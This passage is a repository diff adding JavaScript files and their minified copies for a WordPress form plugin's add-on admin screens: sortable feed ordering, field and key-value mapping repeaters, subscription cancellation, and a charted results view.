self.setPlaceholderHeight = function( event, ui ) {
|
||||
|
||||
// Set the height of the placeholder to the height of the feed being moved.
|
||||
$( '.wp-list-table .feed-placeholder' ).height( ui.item.height() );
|
||||
|
||||
}
|
||||
|
||||
/**
|
||||
* Save the feed ordering to the database.
|
||||
*/
|
||||
self.updateFeedOrder = function( event, ui ) {
|
||||
|
||||
$.ajax(
|
||||
ajaxurl,
|
||||
{
|
||||
method: 'POST',
|
||||
dataType: 'JSON',
|
||||
data: {
|
||||
action: 'gf_save_feed_order',
|
||||
addon: self.options.addon,
|
||||
form_id: self.options.formId,
|
||||
feed_order: self.getFeedOrder(),
|
||||
nonce: self.options.nonce,
|
||||
}
|
||||
}
|
||||
);
|
||||
|
||||
}
|
||||
|
||||
this.init();
|
||||
|
||||
}
|
||||
1
includes/addon/js/gaddon_feedorder.min.js
vendored
Normal file
1
includes/addon/js/gaddon_feedorder.min.js
vendored
Normal file
@@ -0,0 +1 @@
|
||||
var GFFeedOrder=function(a){var b=this,c=jQuery;b.init=function(){b.options=a,c(".wp-list-table thead tr, .wp-list-table tfoot tr").append('<th class="sort-column"></th>'),c(".wp-list-table tbody tr").append('<td class="sort-column"><i class="fa fa-bars feed-sort-handle"></i></td>'),b.initSorting()},b.initSorting=function(){c(".wp-list-table tbody").sortable({cursor:"move",handle:".feed-sort-handle",placeholder:"feed-placeholder",tolerance:"pointer",create:function(){c(".wp-list-table").addClass("feed-list-sortable")},helper:b.fixSortableColumnWidths,start:b.setPlaceholderHeight,update:b.updateFeedOrder})},b.fixSortableColumnWidths=function(a,b){var d=b.children(),e=b.clone();return e.children().each(function(a){c(this).width(d.eq(a).width())}),e},b.getFeedOrder=function(){return c('.wp-list-table tbody .check-column input[type="checkbox"]').map(function(){return c(this).val()}).get()},b.setPlaceholderHeight=function(a,b){c(".wp-list-table .feed-placeholder").height(b.item.height())},b.updateFeedOrder=function(a,d){c.ajax(ajaxurl,{method:"POST",dataType:"JSON",data:{action:"gf_save_feed_order",addon:b.options.addon,form_id:b.options.formId,feed_order:b.getFeedOrder(),nonce:b.options.nonce}})},this.init()};
|
||||
135
includes/addon/js/gaddon_fieldmap.js
Normal file
135
includes/addon/js/gaddon_fieldmap.js
Normal file
@@ -0,0 +1,135 @@
|
||||
var gfieldmap = function( options ) {
|
||||
|
||||
var self = this;
|
||||
|
||||
self.options = options;
|
||||
self.UI = jQuery( '#gaddon-setting-row-'+ self.options.fieldName );
|
||||
|
||||
self.init = function() {
|
||||
|
||||
self.bindEvents();
|
||||
|
||||
self.setupData();
|
||||
|
||||
self.setupRepeater();
|
||||
|
||||
};
|
||||
|
||||
self.bindEvents = function() {
|
||||
|
||||
self.UI.on( 'change', 'select[name="_gaddon_setting_'+ self.options.keyFieldName +'"]', function() {
|
||||
|
||||
var $select = jQuery( this ),
|
||||
$selectElm = $select.data( 'chosen' ) ? $select.siblings( '.chosen-container' ) : ( $select.data( 'select2' ) ? $select.siblings( '.select2-container' ) : $select ),
|
||||
$input = $select.siblings( '.custom-key-container' );
|
||||
|
||||
if( $select.val() != 'gf_custom' ) {
|
||||
return;
|
||||
}
|
||||
|
||||
$selectElm.fadeOut( function() {
|
||||
$input.fadeIn().focus();
|
||||
} );
|
||||
|
||||
} );
|
||||
|
||||
self.UI.on( 'click', 'a.custom-key-reset', function( event ) {
|
||||
|
||||
event.preventDefault();
|
||||
|
||||
var $reset = jQuery( this ),
|
||||
$input = $reset.parents( '.custom-key-container' ),
|
||||
$select = $input.siblings( 'select.key' ),
|
||||
$selectElm = $select.data( 'chosen' ) ? $select.siblings( '.chosen-container' ) : ( $select.data( 'select2' ) ? $select.siblings( '.select2-container' ) : $select );
|
||||
|
||||
$input.fadeOut( function() {
|
||||
$input.find( 'input' ).val( '' ).change();
|
||||
$select.val( '' ).trigger( 'change' );
|
||||
$selectElm.fadeIn().focus();
|
||||
} );
|
||||
|
||||
} );
|
||||
|
||||
self.UI.closest( 'form' ).on( 'submit', function( event ) {
|
||||
|
||||
jQuery( '[name^="_gaddon_setting_'+ self.options.fieldName +'_"]' ).each( function( i ) {
|
||||
|
||||
jQuery( this ).removeAttr( 'name' );
|
||||
|
||||
} );
|
||||
|
||||
} );
|
||||
|
||||
};
|
||||
|
||||
self.setupData = function() {
|
||||
|
||||
self.data = jQuery.parseJSON( jQuery( '#' + self.options.fieldId ).val() );
|
||||
|
||||
if ( ! self.data ) {
|
||||
self.data = [ {
|
||||
key: '',
|
||||
value: '',
|
||||
custom_key: ''
|
||||
} ];
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
self.setupRepeater = function() {
|
||||
|
||||
var limit;
|
||||
if (self.options.limit > 0){
|
||||
limit = self.options.limit;
|
||||
}
|
||||
else{
|
||||
limit = 0;
|
||||
}
|
||||
|
||||
self.UI.find( 'tbody.repeater' ).repeater( {
|
||||
|
||||
limit: limit,
|
||||
items: self.data,
|
||||
addButtonMarkup: '<span>+</span>',
|
||||
removeButtonMarkup: '<span>-</span>',
|
||||
callbacks: {
|
||||
add: function( obj, $elem, item ) {
|
||||
|
||||
var key_select = $elem.find( 'select[name="_gaddon_setting_'+ self.options.keyFieldName +'"]' );
|
||||
|
||||
if ( ! item.custom_key && key_select.length > 0 ) {
|
||||
$elem.find( '.custom-key-container' ).hide();
|
||||
} else {
|
||||
$elem.find( '.key' ).hide();
|
||||
}
|
||||
|
||||
gform.doAction( 'gform_fieldmap_add_row', obj, $elem, item );
|
||||
|
||||
},
|
||||
save: function( obj, data ) {
|
||||
|
||||
data = jQuery.extend( {}, data );
|
||||
|
||||
for ( var i = 0; i < data.length; i++ ) {
|
||||
|
||||
if ( data[i].custom_key != '' ) {
|
||||
data[i].custom = 1;
|
||||
data[i].key = data[i].custom_key;
|
||||
}
|
||||
|
||||
delete data[i].custom_key;
|
||||
|
||||
}
|
||||
|
||||
jQuery( '#'+ self.options.fieldId ).val( jQuery.toJSON( data ) );
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
} );
|
||||
|
||||
}
|
||||
|
||||
return self.init();
|
||||
|
||||
};
|
||||
1
includes/addon/js/gaddon_fieldmap.min.js
vendored
Normal file
1
includes/addon/js/gaddon_fieldmap.min.js
vendored
Normal file
@@ -0,0 +1 @@
|
||||
var gfieldmap=function(a){var b=this;return b.options=a,b.UI=jQuery("#gaddon-setting-row-"+b.options.fieldName),b.init=function(){b.bindEvents(),b.setupData(),b.setupRepeater()},b.bindEvents=function(){b.UI.on("change",'select[name="_gaddon_setting_'+b.options.keyFieldName+'"]',function(){var a=jQuery(this),b=a.data("chosen")?a.siblings(".chosen-container"):a.data("select2")?a.siblings(".select2-container"):a,c=a.siblings(".custom-key-container");"gf_custom"==a.val()&&b.fadeOut(function(){c.fadeIn().focus()})}),b.UI.on("click","a.custom-key-reset",function(a){a.preventDefault();var b=jQuery(this),c=b.parents(".custom-key-container"),d=c.siblings("select.key"),e=d.data("chosen")?d.siblings(".chosen-container"):d.data("select2")?d.siblings(".select2-container"):d;c.fadeOut(function(){c.find("input").val("").change(),d.val("").trigger("change"),e.fadeIn().focus()})}),b.UI.closest("form").on("submit",function(a){jQuery('[name^="_gaddon_setting_'+b.options.fieldName+'_"]').each(function(a){jQuery(this).removeAttr("name")})})},b.setupData=function(){b.data=jQuery.parseJSON(jQuery("#"+b.options.fieldId).val()),b.data||(b.data=[{key:"",value:"",custom_key:""}])},b.setupRepeater=function(){var a;a=b.options.limit>0?b.options.limit:0,b.UI.find("tbody.repeater").repeater({limit:a,items:b.data,addButtonMarkup:"<span>+</span>",removeButtonMarkup:"<span>-</span>",callbacks:{add:function(a,c,d){var e=c.find('select[name="_gaddon_setting_'+b.options.keyFieldName+'"]');!d.custom_key&&e.length>0?c.find(".custom-key-container").hide():c.find(".key").hide(),gform.doAction("gform_fieldmap_add_row",a,c,d)},save:function(a,c){c=jQuery.extend({},c);for(var d=0;d<c.length;d++)""!=c[d].custom_key&&(c[d].custom=1,c[d].key=c[d].custom_key),delete c[d].custom_key;jQuery("#"+b.options.fieldId).val(jQuery.toJSON(c))}}})},b.init()};
|
||||
164
includes/addon/js/gaddon_genericmap.js
Normal file
164
includes/addon/js/gaddon_genericmap.js
Normal file
@@ -0,0 +1,164 @@
|
||||
var GFGenericMap = function( options ) {
|
||||
|
||||
var self = this;
|
||||
|
||||
self.options = options;
|
||||
self.UI = jQuery( '#gaddon-setting-row-'+ self.options.fieldName );
|
||||
|
||||
self.init = function() {
|
||||
|
||||
self.bindEvents();
|
||||
|
||||
self.setupData();
|
||||
|
||||
self.setupRepeater();
|
||||
|
||||
};
|
||||
|
||||
self.bindEvents = function() {
|
||||
|
||||
self.UI.on( 'change', 'select[name="_gaddon_setting_'+ self.options.keyFieldName +'"]', function() {
|
||||
|
||||
var $select = jQuery( this ),
|
||||
$selectElm = $select.data( 'chosen' ) ? $select.siblings( '.chosen-container' ) : ( $select.data( 'select2' ) ? $select.siblings( '.select2-container' ) : $select ),
|
||||
$input = $select.siblings( '.custom-key-container' );
|
||||
|
||||
if( $select.val() != 'gf_custom' ) {
|
||||
return;
|
||||
}
|
||||
|
||||
$selectElm.fadeOut( function() {
|
||||
$input.fadeIn().focus();
|
||||
} );
|
||||
|
||||
} );
|
||||
|
||||
self.UI.on( 'change', 'select[name="_gaddon_setting_'+ self.options.valueFieldName +'"]', function() {
|
||||
|
||||
var $select = jQuery( this ),
|
||||
$selectElm = $select.data( 'chosen' ) ? $select.siblings( '.chosen-container' ) : ( $select.data( 'select2' ) ? $select.siblings( '.select2-container' ) : $select ),
|
||||
$input = $select.siblings( '.custom-value-container' );
|
||||
|
||||
if ( $select.val() != 'gf_custom' ) {
|
||||
return;
|
||||
}
|
||||
|
||||
$selectElm.fadeOut( function() {
|
||||
$input.fadeIn().focus();
|
||||
} );
|
||||
|
||||
} );
|
||||
|
||||
self.UI.on( 'click', 'a.custom-key-reset', function( event ) {
|
||||
|
||||
event.preventDefault();
|
||||
|
||||
var $reset = jQuery( this ),
|
||||
$input = $reset.parents( '.custom-key-container' ),
|
||||
$select = $input.siblings( 'select.key' ),
|
||||
$selectElm = $select.data( 'chosen' ) ? $select.siblings( '.chosen-container' ) : ( $select.data( 'select2' ) ? $select.siblings( '.select2-container' ) : $select );
|
||||
|
||||
$input.fadeOut( function() {
|
||||
$input.find( 'input' ).val( '' ).change();
|
||||
$select.val( '' ).trigger( 'change' );
|
||||
$selectElm.fadeIn().focus();
|
||||
} );
|
||||
|
||||
} );
|
||||
|
||||
self.UI.on( 'click', 'a.custom-value-reset', function( event ) {
|
||||
|
||||
event.preventDefault();
|
||||
|
||||
var $reset = jQuery( this ),
|
||||
$input = $reset.parents( '.custom-value-container' ),
|
||||
$select = $input.siblings( 'select.value' ),
|
||||
$selectElm = $select.data( 'chosen' ) ? $select.siblings( '.chosen-container' ) : ( $select.data( 'select2' ) ? $select.siblings( '.select2-container' ) : $select );
|
||||
|
||||
$input.fadeOut( function() {
|
||||
$input.find( 'input' ).val( '' ).change();
|
||||
$select.val( '' ).trigger( 'change' );
|
||||
$selectElm.fadeIn().focus();
|
||||
} );
|
||||
|
||||
} );
|
||||
|
||||
self.UI.closest( 'form' ).on( 'submit', function( event ) {
|
||||
|
||||
jQuery( '[name^="_gaddon_setting_'+ self.options.fieldName +'_"]' ).each( function( i ) {
|
||||
|
||||
jQuery( this ).removeAttr( 'name' );
|
||||
|
||||
} );
|
||||
|
||||
} );
|
||||
|
||||
};
|
||||
|
||||
self.setupData = function() {
|
||||
|
||||
self.data = jQuery.parseJSON( jQuery( '#' + self.options.fieldId ).val() );
|
||||
|
||||
if ( ! self.data ) {
|
||||
self.data = [ {
|
||||
key: '',
|
||||
value: '',
|
||||
custom_key: '',
|
||||
custom_value: ''
|
||||
} ];
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
self.setupRepeater = function() {
|
||||
|
||||
var limit = self.options.limit > 0 ? self.options.limit : 0;
|
||||
|
||||
self.UI.find( 'tbody.repeater' ).repeater( {
|
||||
|
||||
limit: limit,
|
||||
items: self.data,
|
||||
addButtonMarkup: '<span>+</span>',
|
||||
removeButtonMarkup: '<span>-</span>',
|
||||
callbacks: {
|
||||
add: function( obj, $elem, item ) {
|
||||
|
||||
var key_select = $elem.find( 'select[name="_gaddon_setting_'+ self.options.keyFieldName +'"]' );
|
||||
|
||||
if ( ! item.custom_key && key_select.length > 0 ) {
|
||||
$elem.find( '.custom-key-container' ).hide();
|
||||
} else {
|
||||
$elem.find( '.key' ).hide();
|
||||
}
|
||||
|
||||
var value_select = $elem.find( 'select[name="_gaddon_setting_'+ self.options.valueFieldName +'"]' );
|
||||
|
||||
if ( ! item.custom_value && value_select.length > 0 ) {
|
||||
$elem.find( '.custom-value-container' ).hide();
|
||||
} else {
|
||||
$elem.find( '.value' ).hide();
|
||||
}
|
||||
|
||||
if ( self.options.mergeTags ) {
|
||||
new gfMergeTagsObj( form, $elem.find( '.custom-value-container input' ) );
|
||||
}
|
||||
|
||||
if ( window.hasOwnProperty( 'gform' ) ) {
|
||||
gform.doAction( 'gform_fieldmap_add_row', obj, $elem, item );
|
||||
}
|
||||
|
||||
},
|
||||
save: function( obj, data ) {
|
||||
|
||||
jQuery( '#'+ self.options.fieldId ).val( JSON.stringify( data ) );
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
} );
|
||||
|
||||
}
|
||||
|
||||
return self.init();
|
||||
|
||||
};
|
||||
1
includes/addon/js/gaddon_genericmap.min.js
vendored
Normal file
1
includes/addon/js/gaddon_genericmap.min.js
vendored
Normal file
@@ -0,0 +1 @@
|
||||
var GFGenericMap=function(a){var b=this;return b.options=a,b.UI=jQuery("#gaddon-setting-row-"+b.options.fieldName),b.init=function(){b.bindEvents(),b.setupData(),b.setupRepeater()},b.bindEvents=function(){b.UI.on("change",'select[name="_gaddon_setting_'+b.options.keyFieldName+'"]',function(){var a=jQuery(this),b=a.data("chosen")?a.siblings(".chosen-container"):a.data("select2")?a.siblings(".select2-container"):a,c=a.siblings(".custom-key-container");"gf_custom"==a.val()&&b.fadeOut(function(){c.fadeIn().focus()})}),b.UI.on("change",'select[name="_gaddon_setting_'+b.options.valueFieldName+'"]',function(){var a=jQuery(this),b=a.data("chosen")?a.siblings(".chosen-container"):a.data("select2")?a.siblings(".select2-container"):a,c=a.siblings(".custom-value-container");"gf_custom"==a.val()&&b.fadeOut(function(){c.fadeIn().focus()})}),b.UI.on("click","a.custom-key-reset",function(a){a.preventDefault();var b=jQuery(this),c=b.parents(".custom-key-container"),d=c.siblings("select.key"),e=d.data("chosen")?d.siblings(".chosen-container"):d.data("select2")?d.siblings(".select2-container"):d;c.fadeOut(function(){c.find("input").val("").change(),d.val("").trigger("change"),e.fadeIn().focus()})}),b.UI.on("click","a.custom-value-reset",function(a){a.preventDefault();var b=jQuery(this),c=b.parents(".custom-value-container"),d=c.siblings("select.value"),e=d.data("chosen")?d.siblings(".chosen-container"):d.data("select2")?d.siblings(".select2-container"):d;c.fadeOut(function(){c.find("input").val("").change(),d.val("").trigger("change"),e.fadeIn().focus()})}),b.UI.closest("form").on("submit",function(a){jQuery('[name^="_gaddon_setting_'+b.options.fieldName+'_"]').each(function(a){jQuery(this).removeAttr("name")})})},b.setupData=function(){b.data=jQuery.parseJSON(jQuery("#"+b.options.fieldId).val()),b.data||(b.data=[{key:"",value:"",custom_key:"",custom_value:""}])},b.setupRepeater=function(){var a=b.options.limit>0?b.options.limit:0;b.UI.find("tbody.repeater").repeater({limit:a,items:b.data,addButtonMarkup:"<span>+</span>",removeButtonMarkup:"<span>-</span>",callbacks:{add:function(a,c,d){var e=c.find('select[name="_gaddon_setting_'+b.options.keyFieldName+'"]');!d.custom_key&&e.length>0?c.find(".custom-key-container").hide():c.find(".key").hide();var f=c.find('select[name="_gaddon_setting_'+b.options.valueFieldName+'"]');!d.custom_value&&f.length>0?c.find(".custom-value-container").hide():c.find(".value").hide(),b.options.mergeTags&&new gfMergeTagsObj(form,c.find(".custom-value-container input")),window.hasOwnProperty("gform")&&gform.doAction("gform_fieldmap_add_row",a,c,d)},save:function(a,c){jQuery("#"+b.options.fieldId).val(JSON.stringify(c))}}})},b.init()};
|
||||
46
includes/addon/js/gaddon_payment.js
Normal file
46
includes/addon/js/gaddon_payment.js
Normal file
@@ -0,0 +1,46 @@
|
||||
function loadBillingLength(setting_name){
|
||||
var intervals = window[setting_name + "_intervals"]
|
||||
if(!intervals)
|
||||
return;
|
||||
|
||||
var unit = jQuery("#" + setting_name + "_unit").val();
|
||||
var min = intervals[unit]["min"];
|
||||
var max = intervals[unit]["max"];
|
||||
|
||||
var lengthField = jQuery("#" + setting_name + "_length");
|
||||
var length = lengthField.val();
|
||||
|
||||
var str = "";
|
||||
for(var i=min; i<=max; i++){
|
||||
var selected = length == i ? "selected='selected'" : "";
|
||||
str += "<option value='" + i + "' " + selected + ">" + i + "</option>";
|
||||
}
|
||||
lengthField.html(str);
|
||||
}
|
||||
|
||||
function cancel_subscription(entryId){
|
||||
|
||||
if(! confirm(gaddon_payment_strings.subscriptionCancelWarning) )
|
||||
return;
|
||||
|
||||
jQuery("#subscription_cancel_spinner").show();
|
||||
jQuery("#cancelsub").prop("disabled", true);
|
||||
jQuery.post(ajaxurl, {
|
||||
action:"gaddon_cancel_subscription",
|
||||
entry_id:entryId,
|
||||
gaddon_cancel_subscription: gaddon_payment_strings.subscriptionCancelNonce},
|
||||
function(response){
|
||||
jQuery("#subscription_cancel_spinner").hide();
|
||||
if(response == 1)
|
||||
{
|
||||
jQuery("#gform_payment_status").html(gaddon_payment_strings.subscriptionCanceled);
|
||||
jQuery("#cancelsub").hide();
|
||||
}
|
||||
else
|
||||
{
|
||||
jQuery("#cancelsub").prop("disabled", false);
|
||||
alert(gaddon_payment_strings.subscriptionError);
|
||||
}
|
||||
}
|
||||
);
|
||||
}
|
||||
1
includes/addon/js/gaddon_payment.min.js
vendored
Normal file
1
includes/addon/js/gaddon_payment.min.js
vendored
Normal file
@@ -0,0 +1 @@
|
||||
function loadBillingLength(a){var b=window[a+"_intervals"];if(b){for(var c=jQuery("#"+a+"_unit").val(),d=b[c].min,e=b[c].max,f=jQuery("#"+a+"_length"),g=f.val(),h="",i=d;i<=e;i++){h+="<option value='"+i+"' "+(g==i?"selected='selected'":"")+">"+i+"</option>"}f.html(h)}}function cancel_subscription(a){confirm(gaddon_payment_strings.subscriptionCancelWarning)&&(jQuery("#subscription_cancel_spinner").show(),jQuery("#cancelsub").prop("disabled",!0),jQuery.post(ajaxurl,{action:"gaddon_cancel_subscription",entry_id:a,gaddon_cancel_subscription:gaddon_payment_strings.subscriptionCancelNonce},function(a){jQuery("#subscription_cancel_spinner").hide(),1==a?(jQuery("#gform_payment_status").html(gaddon_payment_strings.subscriptionCanceled),jQuery("#cancelsub").hide()):(jQuery("#cancelsub").prop("disabled",!1),alert(gaddon_payment_strings.subscriptionError))}))}
|
||||
248
includes/addon/js/gaddon_results.js
Normal file
248
includes/addon/js/gaddon_results.js
Normal file
@@ -0,0 +1,248 @@
|
||||
var gresultsAjaxRequest;
|
||||
|
||||
var gresults = {
|
||||
|
||||
drawCharts: function () {
|
||||
var containers = jQuery('.gresults-chart-wrapper');
|
||||
containers.each(function (index, elem) {
|
||||
var id = jQuery(elem).attr('id');
|
||||
var options = jQuery(elem).data('options');
|
||||
var datatable = jQuery(elem).data('datatable');
|
||||
var chartType = jQuery(elem).data('charttype');
|
||||
var data_array = datatable;
|
||||
var data = google.visualization.arrayToDataTable(data_array);
|
||||
var cont = document.getElementById(id);
|
||||
var chart;
|
||||
if (chartType == "bar") {
|
||||
chart = new google.visualization.BarChart(cont);
|
||||
} else if (chartType == "pie") {
|
||||
chart = new google.visualization.PieChart(cont);
|
||||
} else if (chartType == "column") {
|
||||
chart = new google.visualization.ColumnChart(cont);
|
||||
}
|
||||
chart.draw(data, options);
|
||||
});
|
||||
},
|
||||
|
||||
renderStateData: function (state) {
|
||||
var results = jQuery("#gresults-results");
|
||||
results.data('searchcriteria', state.searchCriteria);
|
||||
jQuery("#gresults-results-filter").html(state.filterUI);
|
||||
results.css('opacity', 0);
|
||||
results.html(state.html);
|
||||
gresults.drawCharts();
|
||||
results.fadeTo("slow", 1);
|
||||
|
||||
var filterContainer = jQuery("#gresults-results-field-filters-container");
|
||||
filterContainer.resizable();
|
||||
filterContainer.resizable('destroy');
|
||||
filterContainer.resizable({
|
||||
handles: 's'
|
||||
});
|
||||
},
|
||||
|
||||
getResults: function () {
|
||||
gresults.recordFormState();
|
||||
var gresultsData = jQuery('#gresults-results-filter-form').serialize();
|
||||
gresults.sendRequest(gresultsData)
|
||||
},
|
||||
|
||||
sendRequest: function (gresultsData, serverStateObject, checkSum) {
|
||||
var results = jQuery("#gresults-results");
|
||||
var filterButtons = jQuery("#gresults-results-filter-buttons input");
|
||||
var loading = jQuery(".gresults-filter-loading");
|
||||
var viewSlug = jQuery("#gresults-view-slug").val();
|
||||
var nonce = jQuery("#_gf_results_nonce").val()
|
||||
var data_str = "action=gresults_get_results_" + viewSlug + "&" + gresultsData + '&_gf_results_nonce' + nonce ;
|
||||
if (serverStateObject)
|
||||
data_str += "&state=" + serverStateObject + "&checkSum=" + checkSum;
|
||||
|
||||
gresultsAjaxRequest = jQuery.ajax({
|
||||
url : ajaxurl,
|
||||
type : 'POST',
|
||||
dataType : 'json',
|
||||
data : data_str,
|
||||
beforeSend: function (xhr, opts) {
|
||||
results.fadeTo("slow", 0.33);
|
||||
results.html('');
|
||||
loading.show();
|
||||
filterButtons.attr('disabled', 'disabled');
|
||||
}
|
||||
})
|
||||
.done(function (response) {
|
||||
if (!response || response === -1) {
|
||||
loading.hide();
|
||||
results.html(gresultsStrings.ajaxError);
|
||||
} else {
|
||||
if (response.status === "complete") {
|
||||
filterButtons.removeAttr('disabled');
|
||||
loading.hide();
|
||||
results.html(response.html);
|
||||
jQuery("#gresults-results").data('searchcriteria', response.searchCriteria); //used in 'more' links
|
||||
|
||||
var filterUI = jQuery("#gresults-results-filter").html();
|
||||
|
||||
gresults.drawCharts();
|
||||
results.fadeTo("slow", 1);
|
||||
if (window.history.replaceState) {
|
||||
if (!history.state) {
|
||||
history.replaceState({"html": response.html, "filterUI": filterUI, "searchCriteria": response.searchCriteria}, "", "?" + gresultsData);
|
||||
} else {
|
||||
history.pushState({"html": response.html, "filterUI": filterUI, "searchCriteria": response.searchCriteria}, "", "?" + gresultsData);
|
||||
}
|
||||
}
|
||||
gresults.drawCharts();
|
||||
if (window["gform_initialize_tooltips"])
|
||||
gform_initialize_tooltips();
|
||||
} else if (response.status === "incomplete") {
|
||||
serverStateObject = response.stateObject;
|
||||
gresults.sendRequest(gresultsData, serverStateObject, response.checkSum);
|
||||
results.html(response.html);
|
||||
} else {
|
||||
loading.hide();
|
||||
results.html(gresultsStrings.ajaxError);
|
||||
}
|
||||
}
|
||||
})
|
||||
.fail(function (error) {
|
||||
filterButtons.removeAttr('disabled');
|
||||
results.fadeTo("fast", 1);
|
||||
var msg = error.statusText;
|
||||
loading.hide();
|
||||
if (msg == "abort") {
|
||||
msg = "Request cancelled";
|
||||
} else {
|
||||
msg = gresultsStrings.ajaxError;
|
||||
}
|
||||
results.html(msg);
|
||||
})
|
||||
},
|
||||
|
||||
getMoreResults: function (formId, fieldId) {
|
||||
var container = jQuery('#gresults-results-field-content-' + fieldId),
|
||||
results = jQuery("#gresults-results"),
|
||||
offset = jQuery(container).data('offset'),
|
||||
viewSlug = jQuery("#gresults-view-slug").val(),
|
||||
searchCriteria = results.data('searchcriteria'),
|
||||
nonce = jQuery("#_gf_results_nonce").val();
|
||||
|
||||
jQuery.ajax({
|
||||
url : ajaxurl,
|
||||
type : 'POST',
|
||||
dataType: 'json',
|
||||
data : {
|
||||
action: 'gresults_get_more_results_' + viewSlug,
|
||||
view: viewSlug,
|
||||
form_id: formId,
|
||||
field_id: fieldId,
|
||||
offset: offset,
|
||||
search_criteria: searchCriteria,
|
||||
_gf_results_nonce: nonce
|
||||
},
|
||||
success : function (response) {
|
||||
if (response === -1) {
|
||||
//permission denied
|
||||
}
|
||||
else {
|
||||
if (response.html)
|
||||
jQuery(container).append(response.html);
|
||||
if (!response.more_remaining)
|
||||
jQuery('#gresults-results-field-more-link-' + fieldId).hide();
|
||||
|
||||
jQuery(container).data('offset', response.offset);
|
||||
}
|
||||
}
|
||||
});
|
||||
|
||||
return false;
|
||||
|
||||
},
|
||||
|
||||
clearFilterForm: function () {
|
||||
jQuery("#gresults-results-field-filters-container").gfFilterUI(gresultsFilterSettings, [], true);
|
||||
jQuery('#gresults-results-filter-form').find('input, select').each(function () {
|
||||
switch (this.type) {
|
||||
case 'text':
|
||||
case 'select-one':
|
||||
jQuery(this).val('').change();
|
||||
break;
|
||||
case 'checkbox':
|
||||
case 'radio':
|
||||
this.checked = false;
|
||||
}
|
||||
});
|
||||
},
|
||||
|
||||
recordFormState: function () {
|
||||
jQuery("#gresults-results-filter-form input[type='radio']").each(function () {
|
||||
if (this.checked) {
|
||||
jQuery(this).prop("defaultChecked", true);
|
||||
} else {
|
||||
jQuery(this).prop("defaultChecked", false);
|
||||
}
|
||||
});
|
||||
jQuery("#gresults-results-filter-form input[type='checkbox']").each(function () {
|
||||
if (this.checked) {
|
||||
jQuery(this).prop("defaultChecked", true);
|
||||
} else {
|
||||
jQuery(this).prop("defaultChecked", false);
|
||||
}
|
||||
});
|
||||
jQuery("#gresults-results-filter-form input[type='text']").each(function () {
|
||||
jQuery(this).prop("defaultValue", jQuery(this).val());
|
||||
});
|
||||
jQuery("#gresults-results-filter-form select option").each(function () {
|
||||
jQuery(this).prop("defaultSelected", jQuery(this).prop('selected'));
|
||||
});
|
||||
},
|
||||
|
||||
setCustomFilter: function(key, value){
|
||||
elementId = "gresults-custom-" + key;
|
||||
if(jQuery('#' + elementId).length == 0)
|
||||
jQuery('#gresults-results-filter-form').append("<input type='hidden' id='" + elementId + "' name='" + key + "' value='" + value + "'>");
|
||||
else
|
||||
jQuery('#' + elementId).val(value);
|
||||
}
|
||||
|
||||
};
|
||||
|
||||
google.load('visualization', '1', {packages: ['corechart']});
|
||||
google.setOnLoadCallback(gresults.drawCharts);
|
||||
|
||||
|
||||
jQuery(document).ready(function () {
|
||||
|
||||
if (jQuery("#gresults-results").length > 0) {
|
||||
|
||||
jQuery("#gresults-results-field-filters-container").gfFilterUI(gresultsFilterSettings, gresultsInitVars, true);
|
||||
var $window = jQuery(window);
|
||||
|
||||
$window.resize(function (e) {
|
||||
if (e.target === window) {
|
||||
gresults.drawCharts();
|
||||
}
|
||||
});
|
||||
|
||||
window.onpopstate = function (e) {
|
||||
if (e.state)
|
||||
gresults.renderStateData(e.state)
|
||||
};
|
||||
|
||||
|
||||
jQuery("#gresults-results-filter-date-start, #gresults-results-filter-date-end").datepicker({dateFormat: 'yy-mm-dd', changeMonth: true, changeYear: true});
|
||||
|
||||
jQuery("#gresults-results-filter-form").submit(function (e) {
|
||||
gresults.getResults();
|
||||
return false;
|
||||
});
|
||||
|
||||
if (history.state) {
|
||||
gresults.renderStateData(history.state)
|
||||
} else {
|
||||
gresults.getResults();
|
||||
}
|
||||
if (window["gform_initialize_tooltips"])
|
||||
gform_initialize_tooltips();
|
||||
|
||||
}
|
||||
});
|
||||
1
includes/addon/js/gaddon_results.min.js
vendored
Normal file
1
includes/addon/js/gaddon_results.min.js
vendored
Normal file
@@ -0,0 +1 @@
|
||||
var gresultsAjaxRequest,gresults={drawCharts:function(){jQuery(".gresults-chart-wrapper").each(function(a,b){var c,d=jQuery(b).attr("id"),e=jQuery(b).data("options"),f=jQuery(b).data("datatable"),g=jQuery(b).data("charttype"),h=f,i=google.visualization.arrayToDataTable(h),j=document.getElementById(d);"bar"==g?c=new google.visualization.BarChart(j):"pie"==g?c=new google.visualization.PieChart(j):"column"==g&&(c=new google.visualization.ColumnChart(j)),c.draw(i,e)})},renderStateData:function(a){var b=jQuery("#gresults-results");b.data("searchcriteria",a.searchCriteria),jQuery("#gresults-results-filter").html(a.filterUI),b.css("opacity",0),b.html(a.html),gresults.drawCharts(),b.fadeTo("slow",1);var c=jQuery("#gresults-results-field-filters-container");c.resizable(),c.resizable("destroy"),c.resizable({handles:"s"})},getResults:function(){gresults.recordFormState();var a=jQuery("#gresults-results-filter-form").serialize();gresults.sendRequest(a)},sendRequest:function(a,b,c){var d=jQuery("#gresults-results"),e=jQuery("#gresults-results-filter-buttons input"),f=jQuery(".gresults-filter-loading"),g=jQuery("#gresults-view-slug").val(),h=jQuery("#_gf_results_nonce").val(),i="action=gresults_get_results_"+g+"&"+a+"&_gf_results_nonce"+h;b&&(i+="&state="+b+"&checkSum="+c),gresultsAjaxRequest=jQuery.ajax({url:ajaxurl,type:"POST",dataType:"json",data:i,beforeSend:function(a,b){d.fadeTo("slow",.33),d.html(""),f.show(),e.attr("disabled","disabled")}}).done(function(c){if(c&&-1!==c)if("complete"===c.status){e.removeAttr("disabled"),f.hide(),d.html(c.html),jQuery("#gresults-results").data("searchcriteria",c.searchCriteria);var g=jQuery("#gresults-results-filter").html();gresults.drawCharts(),d.fadeTo("slow",1),window.history.replaceState&&(history.state?history.pushState({html:c.html,filterUI:g,searchCriteria:c.searchCriteria},"","?"+a):history.replaceState({html:c.html,filterUI:g,searchCriteria:c.searchCriteria},"","?"+a)),gresults.drawCharts(),window.gform_initialize_tooltips&&gform_initialize_tooltips()}else"incomplete"===c.status?(b=c.stateObject,gresults.sendRequest(a,b,c.checkSum),d.html(c.html)):(f.hide(),d.html(gresultsStrings.ajaxError));else f.hide(),d.html(gresultsStrings.ajaxError)}).fail(function(a){e.removeAttr("disabled"),d.fadeTo("fast",1);var b=a.statusText;f.hide(),b="abort"==b?"Request 